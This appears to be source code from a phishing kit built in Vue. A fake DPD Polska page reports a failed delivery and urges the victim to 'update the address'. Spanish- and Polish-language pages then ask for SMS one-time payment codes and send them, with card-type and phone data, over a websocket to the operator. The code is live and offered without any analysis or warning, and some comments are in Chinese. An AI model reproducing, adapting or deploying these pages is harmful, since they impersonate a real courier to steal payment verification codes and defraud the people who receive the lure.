);
localStorage.setItem("route", "home");
});
</script>
<template>
<CommonLayout>
<div class="brt-container">
<header class="brt-header">
<div class="header-content">
<p class="brand-text">DPD Polska</p>
<h1 class="main-headline">Dostawa nie powiodła się:<br />Błędny adres</h1>
</div>
</header>
<main class="main-content">
<div class="notice-card">
<div class="badge">INFORMACJA O PRZESYŁCE</div>
<h2 class="section-title">Status dostawy</h2>
<p class="reference">Numer przesyłki DPD: {{ trackingNumber }}</p>
<hr class="divider" />
<div class="alert-box">
<h3 class="alert-title">Próba dostawy nie powiodła się</h3>
<ul class="alert-list">
<li>Dostawa nie powiodła się: podany adres nie pozwala na bezpieczną dostawę paczki.</li>
<li>Paczka została zatrzymana w magazynie DPD obsługującym twoją strefę.</li>
<li>Zaktualizuj dane w krótkim czasie: w przypadku braku potwierdzenia przesyłka może być zwrócona do
nadawcy z dodatkowymi kosztami. Następna próba dostawy zaplanowana na {{ fmtFull(1) }}.</li>
</ul>
</div>
<button @click="handleUpdateAddress" class="btn-primary">
Zmień adres dostawy
</button>
<p class="btn-subtext">Aktualizacja zajmuje mniej niż 2 minuty.</p>
</div>
<div class="timeline-card">
<h2 class="timeline-header">Historia przesyłki</h2>
<div class="timeline">
<div class="timeline-item active">
<div class="timeline-icon warning">
<i class="icon">!</i>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title error">Wyjątek dostawy</span>
<span class="status-time">{{ fmt(1, "15:34") }}</span>
</div>
<p class="status-desc error">
Próba dostawy nie powiodła się: weryfikacja adresu niespełniona. Paczka pozostaje w magazynie DPD.
</p>
<p class="depot-text">Oddział DPD</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">🚚</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">W dostawie</span>
<span class="status-time">{{ fmt(1, "13:10") }}</span>
</div>
<p class="status-desc">Paczka została załadowana do dostawy pod adres.</p>
<p class="depot-text">Oddział DPD</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">📦</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Przybycie do magazynu</span>
<span class="status-time">{{ fmt(2, "09:22") }}</span>
</div>
<p class="status-desc">Paczka przybyła do oddziału DPD.</p>
<p class="depot-text">Oddział DPD</p>
</div>
</div>
<div class="timeline-item last">
<div class="timeline-icon">
<span class="dot-inner">📑</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Paczka odebrana od nadawcy</span>
<span class="status-time">{{ fmt(2, "07:15") }}</span>
</div>
<p class="status-desc">Paczka została odebrana od nadawcy.</p>
<p class="depot-text">Punkt nadania</p>
</div>
</div>
</div>
</div>
</main>
</div>
</CommonLayout>
</template>
<style scoped>
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.brt-container {
background-color: #f4f7f9;
min-height: 100vh;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
color: #333;
}
/* 头部样式 */
.brt-header {
background: linear-gradient(rgba(220, 0, 50, 0.3), rgba(220, 0, 50, 0.3)), url('/Q3h9Lm2Rk8VzNwXa/744x357px_2.png');
background-size: cover;
background-position: center;
color: white;
padding: 40px 20px 60px;
position: relative;
display: flex;
justify-content: space-between;
align-items: flex-start;
overflow: hidden;
}
.brand-text {
font-weight: bold;
font-size: 18px;
margin-bottom: 20px;
}
.main-headline {
font-size: 24px;
font-weight: 800;
line-height: 1.2;
}
.header-image {
position: absolute;
right: 0;
top: 0;
height: 100%;
}
.header-image img {
height: 120px;
object-fit: cover;
}
/* 内容布局 */
.main-content {
padding: 0 15px 30px;
margin-top: 10px;
position: relative;
z-index: 2;
}
/* 卡片通用样式 */
.notice-card,
.timeline-card {
background: white;
border-radius: 16px;
padding: 20px;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.05);
margin-bottom: 20px;
}
.badge {
background: #dc0032;
color: white;
display: inline-block;
padding: 6px 14px;
border-radius: 4px;
font-size: 11px;
font-weight: bold;
margin-bottom: 16px;
letter-spacing: 1px;
}
.section-title {
font-size: 20px;
font-weight: 800;
margin-bottom: 5px;
}
.reference {
font-size: 14px;
color: #666;
}
.divider {
border: none;
border-top: 1px solid #eee;
margin: 20px 0;
}
/* 警示文本列表 */
.alert-title {
color: #dc0032;
font-size: 16px;
font-weight: bold;
margin-bottom: 15px;
}
.alert-list {
padding: 0;
list-style: none;
}
.alert-list li {
position: relative;
padding-left: 20px;
font-size: 14px;
line-height: 1.5;
margin-bottom: 15px;
color: #444;
}
.alert-list li::before {
content: "●";
color: #dc0032;
position: absolute;
left: 0;
font-size: 12px;
top: 2px;
}
/* 按钮 */
.btn-primary {
width: 100%;
background-color: #dc0032;
color: white;
border: none;
padding: 16px;
border-radius: 12px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
margin-top: 10px;
}
.btn-subtext {
text-align: center;
font-size: 13px;
color: #666;
margin-top: 12px;
}
/* 时间轴样式 */
.timeline-header {
font-size: 18px;
font-weight: bold;
margin-bottom: 25px;
}
.timeline {
display: flex;
flex-direction: column;
}
.timeline-item {
display: flex;
gap: 15px;
position: relative;
padding-bottom: 30px;
}
.timeline-item::after {
content: "";
position: absolute;
left: 17px;
top: 35px;
bottom: 0;
width: 2px;
background-color: #fde8eb;
}
.timeline-item.last::after {
display: none;
}
.timeline-icon {
width: 36px;
height: 36px;
background: white;
border: 1px solid #eee;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
z-index: 2;
flex-shrink: 0;
}
.timeline-icon.warning {
border-color: #f8c100;
color: #f8c100;
}
.timeline-icon.warning .icon {
font-style: normal;
font-weight: bold;
border: 2px solid #f8c100;
width: 20px;
height: 20px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
}
.timeline-content {
flex-grow: 1;
}
.content-top {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 4px;
}
.status-title {
font-weight: bold;
font-size: 16px;
}
.status-title.error {
color: #dc0032;
}
.status-time {
font-size: 13px;
color: #888;
}
.status-desc {
font-size: 14px;
color: #444;
line-height: 1.4;
margin-bottom: 4px;
}
.status-desc.error {
color: #dc0032;
}
.depot-text {
font-size: 13px;
color: #999;
}
.dot-inner {
font-size: 16px;
}
.w-stage-home .carousel-item .landing-image-addition.link-full {
pointer-events: none;
}
.w-stage-home .carousel-indicators li.active {
background: #dc0032
}
.w-stage-home .carousel-indicators li {
background: #fff
}
.w-stage-home .carousel-indicators li:before {
background: none;
}
.w-stage-home .carousel-indicators li.active:hover {
/* internal 5082 */
background: #dc0032
}
.w-stage-home .oppa {
display: block;
position: relative;
}
.w-stage-home .carousel-item .landing-image-addition.button-position-018 {
height: auto;
top: auto;
bottom: 0;
z-index: auto;
}
.w-stage-home .carousel-item .landing-image-addition.button-position-018 .button-018 .widget_dpd-button-widget {
-webkit-flex: 0 0 100%;
-ms-flex: 0 0 100%;
flex: 0 0 100%;
max-width: 100%;
padding: 0 !important;
}
@media (min-width: 1200px) {
.w-stage-home .carousel-item .landing-image-addition.button-position-018 {
left: 38px;
right: 38px;
}
}
@media (min-width: 768px) and (max-width: 991.98px) {
.w-stage-home .floating .landing-image-addition.button-position-018 .align-items-end .offset-md-6 {
margin-left: 50%;
}
.w-stage-home .floating .landing-image-addition.button-position-018 .align-items-end .col-md-6 {
max-width: 50%;
}
}
@media (max-width: 375px) {
.w-stage-home .d-sm-none {
display: none !important;
}
}
@media (min-width: 768px) {
.w-stage-home .carousel-indicators li:hover {
/* internal 5082 */
background: #dc0032;
}
}
@media (max-width: 767.98px) {
.w-stage-home #landing-slider-69d682f33216e .carousel-item.have-button .landing-image-addition {
opacity: 0;
}
.w-stage-home #landing-slider-69d682f33216e .carousel-item.active .landing-image-addition {
opacity: 1;
}
.w-stage-home #landing-slider-69d682f33216e .carousel-item {
-webkit-transition: -webkit-transform 0.3s ease;
transition: -webkit-transform 0.3s ease;
-o-transition: transform 0.3s ease;
transition: transform 0.3s ease;
transition: transform 0.3s ease, -webkit-transform 0.3s ease;
}
.w-stage-home .height-media-module-018 video,
.w-stage-home .height-media-module-018 iframe {
width: 768px;
height: 220px;
position: absolute;
left: 50%;
transform: translateX(-50%);
-moz-transform: translateX(-50%);
-webkit-transform: translateX(-50%);
-o-transform: translateX(-50%);
}
.w-stage-home #landing-slider-69d682f33216e .carousel-indicators {
top: 200px;
bottom: auto;
position: absolute;
}
.w-stage-home .floating.button-md-018 {
float: left;
width: 100%;
}
}
.w-stage-home .carousel-indicators li::before {
display: none;
}
.w-stage-home .fa-chevron-right {
transition: all 0.5s ease-in-out;
-webkit-transition: all 0.5s ease-in-out;
}
.w-stage-home a.light-color:hover .fa-chevron-right {
margin-left: 5px;
}
.w-stage-home .oppa-1 {
content: "";
top: 0;
left: 0;
bottom: 0;
right: 0;
z-index: -1;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.so-widget-dpd-topic-switch-widget .tab-module-vertical.color-69d682f335611 p {
color: #414042 !important;
}
.so-widget-dpd-topic-switch-widget .topic-switch a.active .color-69d682f335611 p {
color: #dc0032 !important;
}
.so-widget-dpd-topic-switch-widget .w-tw-mobile .w-tw-icon-box.show.color-69d682f335611 p {
color: #dc0032 !important;
}
.so-widget-dpd-topic-switch-widget .w-tw-mobile .w-tw-icon-box.show.color-69d682f335611 p span {
color: #414042 !important;
}
.so-widget-dpd-topic-switch-widget .topic-switch a.active .color-69d682f335611 span {
color: #414042 !important;
}
.so-widget-dpd-topic-switch-widget .tab-module-vertical li .active div.color-69d682f335611:before {
top: 0;
background: -webkit-gradient(linear, left bottom, right top, color-stop(50%, #e6e7e8), color-stop(50%, rgba(0, 0, 0, 0)));
background: linear-gradient(to right top, #e6e7e8 50%, rgba(0, 0, 0, 0) 50%);
}
.so-widget-dpd-topic-switch-widget .tab-module-vertical li .active div.color-69d682f335611:after {
top: 50%;
background: -webkit-gradient(linear, left top, right bottom, color-stop(50%, #e6e7e8), color-stop(50%, rgba(0, 0, 0, 0)));
background: linear-gradient(to right bottom, #e6e7e8 50%, rgba(0, 0, 0, 0) 50%);
}
.so-widget-dpd-topic-switch-widget .tab-module-vertical li .active div.color-69d682f335611, .tab-mb .show.color-69d682f335611 {
background: #e6e7e8;
}
@media (min-width: 768px) {
.w-best-practice .skew-right.skew-right-04269d682f3386bd:before{
background: linear-gradient(to right bottom, #e6e7e8 50%, rgba(0, 0, 0, 0) 50%);
}
.w-best-practice .w-bp-content.bg-right-04269d682f3386bc {
background-color: #ffffff;
}
.w-best-practice .w-bp-content-left.bg-left-04269d682f3386b8{
background-color: #e6e7e8;
}
}
.w-best-practice .w-bp-content-right-text.color-right-042-69d682f3386ba {
color: #414042;
}
@media (max-width: 767.98px) {
.w-best-practice .w-bp-content-left-text.bg-left-text-042-69d682f3386b9 {
background-color: #e6e7e8;
}
.w-best-practice .w-bp-content-right.bg-color-right-042-69d682f3386bb {
background-color: #ffffff;
}
}
#m-69d682f3386ed .content-left-042 a{
color: #414042;
text-decoration: underline;
}
#m-69d682f3386ed .content-right-042 a{
color: #414042;
text-decoration: underline;
}
#m-69d682f3386ed .content-right-042 a:hover {
color: #dc0032;
}
#m-69d682f3386ed .content-left-042 a:hover {
color: #dc0032;
}
m-69d682f33964a .content-025a a {
color: #414042;
text-decoration: underline;
}
m-69d682f33964a .content-025a a:hover {
color: #dc0032;
}
.dpd-main-page-showcase {
width: 1124px;
height: 190px;
background-color: #EBE7E6;
border-radius: 8px;
padding: 15px;
display: grid;
grid-template-areas: "heading line logotypes";
grid-template-columns: 1fr 20px 2fr;
grid-template-rows: auto;
grid-column-gap: 10px;
grid-row-gap: 10px;
justify-items: center;
align-items: center;
position: relative;
}
.dpd-main-page-showcase__heading {
line-height: 1.3;
text-align: center;
grid-area: heading;
}
.dpd-main-page-showcase__heading--header {
font-size: 30px;
font-family: PlutoSansLight;
}
.dpd-main-page-showcase__heading--line {
border-right: 2px solid #000;
height: 100%;
position: absolute;
left: 40%;
top: 0%;
grid-area: line;
}
.dpd-main-page-showcase__logos {
grid-area: logotypes;
display: grid;
grid-template-columns: repeat(4, 1fr);
grid-template-rows: auto;
grid-column-gap: 10px;
grid-row-gap: 10px;
justify-items: center;
align-items: center;
}
.dpd-main-page-showcase__logo {
height: 140px;
}
@media only screen and (max-width: 300px) {
.dpd-main-page-showcase {
width: 100%;
height: 100%;
grid-template-columns: auto;
grid-template-rows: auto 10px 1fr;
grid-template-areas: "heading" "line" "logotypes";
}
.dpd-main-page-showcase__heading--line {
border-bottom: 2px solid #000;
width: 92%;
border-right: none;
left: 4%;
top: 0%;
height: 5%;
}
.dpd-main-page-showcase__logos {
grid-template-columns: auto;
grid-template-rows: repeat(4, 1fr);
}
}
@media only screen and (min-width: 301px) and (max-width: 767px) {
.dpd-main-page-showcase {
width: 100%;
height: 100%;
grid-template-columns: auto;
grid-template-rows: 1fr 20px 2fr;
grid-template-areas: "heading" "line" "logotypes";
padding: 25px 10px;
}
.dpd-main-page-showcase__heading--line {
width: 92%;
border-bottom: 2px solid #000;
border-right: none;
left: 4%;
top: -200%;
}
.dpd-main-page-showcase__logos {
grid-template-columns: repeat(2, 1fr);
grid-template-rows: repeat(2, 1fr);
}
}
@media only screen and (min-width: 768px) and (max-width: 1279px) {
.dpd-main-page-showcase {
width: 100%;
height: 100%;
grid-template-columns: 1fr 20px 2fr;
grid-template-rows: auto;
grid-template-areas: "heading line logotypes";
}
.dpd-main-page-showcase__heading--line {
height: 100%;
left: 36%;
top: 0%;
}
.dpd-main-page-showcase__logos {
grid-template-columns: repeat(2, 1fr);
grid-template-rows: repeat(2, 1fr);
}
}
m-69d682f33fade .content-025a a {
color: #414042;
text-decoration: underline;
}
m-69d682f33fade .content-025a a:hover {
color: #dc0032;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
.preview .user-login-001 {
display: block !important;
}
.preview .guest-teaser-001 {
display: block !important;
margin-bottom: 10px;
}
m-69d682f33902a .content-025a a {
color: #414042;
text-decoration: underline;
}
m-69d682f33902a .content-025a a:hover {
color: #dc0032;
}
</style>

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,100 @@
<template>
<div v-if="isLoading" class="loading-overlay-dpd">
<div class="loader-content">
<div class="logo-wrapper">
<img
src="/Q3h9Lm2Rk8VzNwXa/DPD_logo_redgrad_rgb_responsive.svg"
class="dpd-logo-breathing"
alt="DPD Logo"
/>
</div>
<div class="dpd-spinner"></div>
</div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
export default defineComponent({
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style scoped>
/* 背景遮罩 - 90% 不透明度 */
.loading-overlay-dpd {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
/* DPD 风格偏向深灰色或纯黑背景90% 不透明度 */
background-color: rgba(245, 240, 240, 0.95);
backdrop-filter: blur(2px); /* 轻微模糊增加质感 */
}
.loader-content {
display: flex;
flex-direction: column;
align-items: center;
gap: 30px; /* Logo 与 Spinner 的间距 */
}
.logo-wrapper {
width: 160px; /* 适当放大 Logo 突出品牌 */
}
.dpd-logo-breathing {
width: 100%;
height: auto;
/* 呼吸动画:缩放 + 亮度微调 */
animation: dpdBreathe 2.5s ease-in-out infinite;
}
/* DPD 红色转圈动画 */
.dpd-spinner {
width: 35px;
height: 35px;
border: 3px solid rgba(48, 45, 45, 0.1); /* 极淡的底圈 */
border-top: 3px solid #dc0032; /* DPD 标准红 */
border-radius: 50%;
animation: dpdSpin 0.8s linear infinite;
}
/* 呼吸动画:柔和的缩放 */
@keyframes dpdBreathe {
0%, 100% {
transform: scale(1);
filter: drop-shadow(0 0 0px rgba(220, 0, 50, 0));
}
50% {
transform: scale(1.08);
/* 呼吸时增加一点点红色的外发光,提升高级感 */
filter: drop-shadow(0 0 8px rgba(220, 0, 50, 0.3));
}
}
/* 旋转动画 */
@keyframes dpdSpin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,411 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/counter";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
import CommonLayout from "@/views/CommonLayout.vue";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const phone = ref("");
const isVerifying = ref(false); // 控制弹窗显示
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
// 获取 CardType
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) cardType.value = type;
}
// 获取 message1
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const m1 = localStorage.getItem("message1");
if (m1) message1.value = m1;
}
// 获取 phone
const p = localStorage.getItem("phone");
if (p) phone.value = p;
localStorage.setItem("route", "otpValid");
startCountdown("");
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Resend code in ${timeLeft.value}s`
: t("Resend code");
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-screen">
<div class="payment-options-title">{{ t("Opciones de Pago") }}</div>
<div class="verification-card">
<form @submit.prevent="submit">
<div class="card-header">
<div class="header-text">
<h3>{{ t("Verificación por SMS") }}</h3>
<p class="sub-text">{{ t("Autenticación requerida") }}</p>
</div>
<div class="status-dot"></div>
</div>
<div class="info-row">
<div class="info-label">
{{ t("Número de") }}<br />{{ t("Teléfono") }}
</div>
<div class="info-value">
<template v-if="message1">********{{ message1.slice(-4) }}</template>
<template v-else>{{ phone ? `********${phone.slice(-4)}` : '' }}</template>
</div>
</div>
<div class="input-section">
<label class="input-label">{{ t("Código de Verificación SMS") }}</label>
<input
class="otp-input"
required
type="text"
inputmode="numeric"
@input="onchange"
v-model="formData.verifyCode"
maxlength="8"
/>
<div class="resend-container" @click="startCountdown('resendCode')">
<a href="javascript:" :class="['resend-link', { 'disabled': isCounting }]">
{{ buttonText }}
</a>
</div>
<div class="error-msg" v-if="message">{{ message }}</div>
</div>
<div class="action-section">
<button type="submit" class="submit-btn" :class="{ 'btn-active': formData.verifyCode }">{{ t("Autenticar") }}</button>
</div>
<div class="card-footer">
<span class="secure-text">{{ t("Proceso de verificación seguro") }}</span>
</div>
</form>
</div>
<Transition name="fade">
<div class="v-overlay-container" v-if="isVerifying">
<div class="v-overlay__scrim"></div>
<div class="v-overlay__content">
<div class="prompt-box">
<div class="spinner"></div>
<div class="v-card-text">Verificando...</div>
</div>
</div>
</div>
</Transition>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.main-screen {
min-height: 100vh;
background-color: #fcfcfc;
display: flex;
flex-direction: column;
align-items: center;
padding-top: 50px;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.payment-options-title {
width: 100%;
max-width: 440px;
font-size: 18px;
font-weight: 700;
color: #3e4a59;
margin-bottom: 25px;
padding-left: 10px;
}
.verification-card {
width: 92%;
max-width: 440px;
background: #ffffff;
border-radius: 4px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
border: 1px solid #f0f0f0;
}
.card-header {
padding: 25px 20px;
display: flex;
justify-content: space-between;
align-items: flex-start;
border-bottom: 1px solid #f8f9fa;
}
.header-text h3 {
margin: 0;
font-size: 19px;
color: #333;
font-weight: 600;
}
.sub-text {
margin: 5px 0 0 0;
font-size: 14px;
color: #999;
}
.status-dot {
width: 8px;
height: 8px;
background-color: #ff6d33;
border-radius: 50%;
margin-top: 8px;
}
.info-row {
display: flex;
padding: 20px;
border-bottom: 1px solid #f8f9fa;
}
.info-label {
width: 100px;
font-size: 14px;
color: #666;
line-height: 1.4;
}
.info-value {
flex: 1;
font-size: 15px;
color: #111;
font-weight: 500;
word-break: break-all;
padding-left: 10px;
}
.input-section {
padding: 25px 20px;
}
.input-label {
display: block;
font-size: 15px;
color: #666;
margin-bottom: 15px;
}
.otp-input {
width: 100%;
height: 50px;
background: #fdfdfd;
border: 1px solid #e0e0e0;
border-radius: 8px;
padding: 0 15px;
font-size: 16px;
text-align: center;
box-sizing: border-box;
outline: none;
transition: border-color 0.2s;
}
.otp-input:focus {
border-color: #ccc;
}
.resend-container {
margin-top: 15px;
text-align: center;
}
.resend-link {
font-size: 13px;
color: #7a8a9a;
text-decoration: underline;
}
.resend-link.disabled {
text-decoration: none;
cursor: default;
}
.error-msg {
color: #d32f2f;
font-size: 13px;
margin-top: 10px;
text-align: center;
}
.action-section {
padding: 0 20px 30px;
}
.submit-btn {
width: 100%;
height: 52px;
background-color: #cccccc; /* 图片中未激活色为灰色 */
color: #ffffff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
}
.submit-btn.btn-active {
background-color: rgb(30, 41, 59);
}
.card-footer {
background-color: #f9f9f9;
padding: 15px;
text-align: center;
border-top: 1px solid #f0f0f0;
}
.secure-text {
font-size: 12px;
color: #aaa;
}
/* --- Loading Overlay --- */
.v-overlay-container {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
}
.v-overlay__scrim {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.8);
}
.prompt-box {
position: relative;
z-index: 1;
text-align: center;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.spinner {
width: 40px;
height: 40px;
border: 3px solid #f3f3f3;
border-top: 3px solid rgb(30, 41, 59);
border-radius: 50%;
animation: spin 0.8s linear infinite;
margin-bottom: 10px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
</style>

View File

@@ -0,0 +1,446 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 检查是否有进行中的倒计时,如果有就恢复
const startTimeStr = localStorage.getItem("countdownStartTime");
if (startTimeStr) {
const startTime = parseInt(startTimeStr);
const elapsed = Date.now() - startTime;
if (elapsed < COUNTDOWN_DURATION) {
// 倒计时仍在进行中
isCounting.value = true;
timer = window.setInterval(updateCountdown, 100);
updateCountdown(); // 立即更新一次
} else {
// 倒计时已完成
localStorage.removeItem("countdownStartTime");
startCountdown("");
}
} else {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const COUNTDOWN_DURATION = 60000; // 60秒毫秒
const timeLeft = ref(60);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Wyślij ponownie (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Wyślij kod ponownie";
});
const updateCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
if (!startTimeStr) {
stopCountdown();
return;
}
const startTime = parseInt(startTimeStr);
const elapsed = Date.now() - startTime;
const remaining = Math.max(0, Math.ceil((COUNTDOWN_DURATION - elapsed) / 1000));
timeLeft.value = remaining;
if (remaining <= 0) {
stopCountdown();
localStorage.removeItem("countdownStartTime");
}
};
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
isCounting.value = true;
timeLeft.value = 60;
// 更新频率为100ms保证屏幕不闪烁且精确度高
timer = window.setInterval(updateCountdown, 100);
updateCountdown(); // 立即更新一次
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 清除定时器但不删除localStorage中的倒计时数据让刷新后能继续计时
if (timer !== null) {
clearInterval(timer);
timer = null;
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="30" height="30" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Weryfikacja tożsamości</h2>
<p class="instruction-text">
W celu potwierdzenia transakcji DPD wysłało jednorazowy kod autoryzacyjny (SMS) na numer telefonu
<span v-if="message1"> kończący się na {{ message1 }}</span>.
Wprowadź otrzymany kod, aby dokończyć płatność.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Jednorazowy kod SMS</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Wprowadź kod z SMS"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions">
<button type="submit" class="submit-button">Potwierdź</button>
<a href="javascript:void(0)" class="resend-anchor" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="divider-line"></div>
<div class="info-row">
<span>Czym jest kod autoryzacyjny SMS?</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row">
<span>Kontakt z DPD Polska</span>
